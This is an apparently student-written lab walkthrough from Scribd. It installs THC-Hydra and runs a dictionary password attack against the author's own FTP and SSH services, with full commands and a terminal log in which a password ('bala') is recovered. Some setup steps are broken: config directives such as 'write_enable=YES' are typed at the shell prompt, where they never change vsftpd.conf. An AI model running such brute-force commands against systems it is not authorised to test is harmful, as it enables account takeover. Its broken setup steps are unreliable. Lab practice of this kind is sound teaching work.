0% found this document useful (0 votes)
18 views7 pages

HYDRA

Hydra

Uploaded by

sendhilks
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
18 views7 pages

HYDRA

Hydra

Uploaded by

sendhilks
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 7

Step 1: perform nmap with your IP address in the terminal

nmap 172.20.10.12
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-07 14:34 IST
Nmap scan report for gss-SVE15135CNB (172.20.10.12)
Host is up (0.00014s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds

Step 2 : Find the available service Ssh and FTP is must required.

If ssh and ftp is not available perform the following

For enabling FTP:


Fedora/Red Hat/SUSE

dnf -y install vsftpd (type this in Terminal)

For ubuntu and debian

sudo apt-get install vsftpd (tytpe this in terminal)

next type this in terminal

man vsftpd.conf

next type this

write_enable=YES

next type this

local_enable=YES

now perform nmap

check FTP service is open or not

SAME LIKE SSH TYPE ONE BY ONE FOLLOWING IN THE TERMINAL

sudo apt update


sudo apt install openssh-server
sudo systemctl status ssh
press q
again perform nmap with ur ipaddress

it should open FTP and Ssh

NOW INSTALLING HYDRA:

First upgrade your system


sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade

NEXT
sudo apt-get -y install build-essential
sudo apt-get install git

NEXT
sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev \ libgtk2.0-
dev libmysqlclient-dev libpq-dev libsvn-dev \ firebird-dev libncp-dev

NEXT

git clone https://github.com/vanhauser-thc/thc-hydra.git

NEXT

cd thc-hydra

NEXT

./configure

NEXT

make

NEXT

sudo make install

hydra -l gss -P '/home/gss/passlist' -t 6 ftp or ssh (do any one) at a time


://172.20.10.12

Example: hydra -l gss -P '/home/gss/passlist' -t 6 ftp://172.20.10.12


NOTE: create one text file contains password for your login username...with
wrong passwords and correct passwords.

after -P dont give manually the location list just drag the text file to the
terminal next to -p and release it automatically fill the location.

My execution was attached here refer this,


Welcome to Linux Lite 5.0 gss

Monday 07 September 2020, 14:07:14


Memory Usage: 1465/3885MB (37.71%)
Disk Usage: 51/457GB (12%)
Support - https://www.linuxliteos.com/forums/ (Right click, Open Link)

gss ~ sudo apt install openssh-server


[sudo] password for gss:
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
openssh-sftp-server ssh-import-id
Suggested packages:
molly-guard monkeysphere ssh-askpass ufw
The following NEW packages will be installed:
openssh-server openssh-sftp-server ssh-import-id
0 upgraded, 3 newly installed, 0 to remove and 15 not upgraded.
Need to get 438 kB of archives.
After this operation, 1,726 kB of additional disk space will be used.
Do you want to continue? [Y/n] Y
Get:1 http://us.archive.ubuntu.com/ubuntu focal-updates/main amd64
openssh-sftp-server amd64 1:8.2p1-4ubuntu0.1 [51.5 kB]
Get:2 http://us.archive.ubuntu.com/ubuntu focal-updates/main amd64
openssh-server amd64 1:8.2p1-4ubuntu0.1 [377 kB]
Get:3 http://us.archive.ubuntu.com/ubuntu focal/main amd64 ssh-import-id all
5.10-0ubuntu1 [10.0 kB]
Fetched 438 kB in 3s (164 kB/s)
Preconfiguring packages ...
Selecting previously unselected package openssh-sftp-server.
(Reading database ... 329312 files and directories currently installed.)
Preparing to unpack .../openssh-sftp-server_1%3a8.2p1-
4ubuntu0.1_amd64.deb ...
Unpacking openssh-sftp-server (1:8.2p1-4ubuntu0.1) ...
Selecting previously unselected package openssh-server.
Preparing to unpack .../openssh-server_1%3a8.2p1-4ubuntu0.1_amd64.deb ...
Unpacking openssh-server (1:8.2p1-4ubuntu0.1) ...
Selecting previously unselected package ssh-import-id.
Preparing to unpack .../ssh-import-id_5.10-0ubuntu1_all.deb ...
Unpacking ssh-import-id (5.10-0ubuntu1) ...
Setting up openssh-sftp-server (1:8.2p1-4ubuntu0.1) ...
Setting up openssh-server (1:8.2p1-4ubuntu0.1) ...

Creating config file /etc/ssh/sshd_config with new version


Creating SSH2 RSA key; this may take some time ...
3072 SHA256:3kE6b7tz3u3XuUJ1c5Qn6xsGfxCopjl1OBCdSeGqPXQ root@gss-
SVE15135CNB (RS
A)
Creating SSH2 ECDSA key; this may take some time ...
256 SHA256:ZpgSF9b0/X5WVJwPmRAqTN9IsGRZ7N8qo636skoZlIE root@gss-
SVE15135CNB (ECD
SA)
Creating SSH2 ED25519 key; this may take some time ...
256 SHA256:3+XvltA5HLVOrhPQnydnKnT8WAkOAGVKowtJg1w11io root@gss-
SVE15135CNB (ED2
5519)
Created symlink /etc/systemd/system/sshd.service →
/lib/systemd/system/ssh.servi
ce.
Created symlink /etc/systemd/system/multi-user.target.wants/ssh.service →
/lib/s
ystemd/system/ssh.service.
rescue-ssh.target is a disabled or a static unit, not starting it.
Setting up ssh-import-id (5.10-0ubuntu1) ...
Attempting to convert /etc/ssh/ssh_import_id
Processing triggers for man-db (2.9.1-1) ...
Processing triggers for systemd (245.4-4ubuntu3.2) ...
gss ~ sudo systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset:
e>
Active: active (running) since Mon 2020-09-07 14:07:52 IST; 1min 35s ago
Docs: man:sshd(8)
man:sshd_config(5)
Main PID: 4702 (sshd)
Tasks: 1 (limit: 4553)
Memory: 1.3M
CGroup: /system.slice/ssh.service
└─4702 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups

Sep 07 14:07:52 gss-SVE15135CNB systemd[1]: Starting OpenBSD Secure


Shell serve>
Sep 07 14:07:52 gss-SVE15135CNB sshd[4702]: Server listening on 0.0.0.0
port 22.
Sep 07 14:07:52 gss-SVE15135CNB sshd[4702]: Server listening on :: port 22.
Sep 07 14:07:52 gss-SVE15135CNB systemd[1]: Started OpenBSD Secure Shell
server.
gss ~ sudo ufw allow ssh
sudo: ufw: command not found
gss ~ 1 sudo Ufw allow ssh
sudo: Ufw: command not found
gss ~ 1 nmap 172.20.10.12
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-07 14:11 IST
Nmap scan report for gss-SVE15135CNB (172.20.10.12)
Host is up (0.00013s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 2.09 seconds


gss ~ hydra -l gss -P '/home/gss/passlist' -t 6 ssh://172.20.10.12
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use
in military or secret service organizations, or for illegal purposes (this is non-
binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-07


14:17:29
[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!
gss ~ 255 sudo apt-get install vsftpd
[sudo] password for gss:
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
vsftpd
0 upgraded, 1 newly installed, 0 to remove and 15 not upgraded.
Need to get 115 kB of archives.
After this operation, 338 kB of additional disk space will be used.
Get:1 http://us.archive.ubuntu.com/ubuntu focal/main amd64 vsftpd amd64
3.0.3-12 [115 kB]
Fetched 115 kB in 2s (65.1 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 329359 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-12_amd64.deb ...
Unpacking vsftpd (3.0.3-12) ...
Setting up vsftpd (3.0.3-12) ...
Created symlink /etc/systemd/system/multi-user.target.wants/vsftpd.service
→ /lib/systemd/system/vsftpd.service.
vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /
var/run/vsftpd/empty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-
in file accordingly.
Processing triggers for man-db (2.9.1-1) ...
Processing triggers for systemd (245.4-4ubuntu3.2) ...
gss ~ man vsftpd.conf
gss ~ write_enable=yes
gss ~ local_enable=yes
gss ~ hydra -l gss -P '/home/gss/passlist' -t 6 ftp://172.20.10.12
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use
in military or secret service organizations, or for illegal purposes (this is non-
binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-07


14:34:18
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:1/p:6), ~1 try
per task
[DATA] attacking ftp://172.20.10.12:21/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-07
14:34:22
gss ~ hydra -l gss -P '/home/gss/passlist' -t 6 ftp://172.20.10.12
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use
in military or secret service organizations, or for illegal purposes (this is non-
binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-07


14:35:37
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:1/p:6), ~1 try
per task
[DATA] attacking ftp://172.20.10.12:21/
[21][ftp] host: 172.20.10.12 login: gss password: bala
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-07
14:35:41
gss ~

You might also like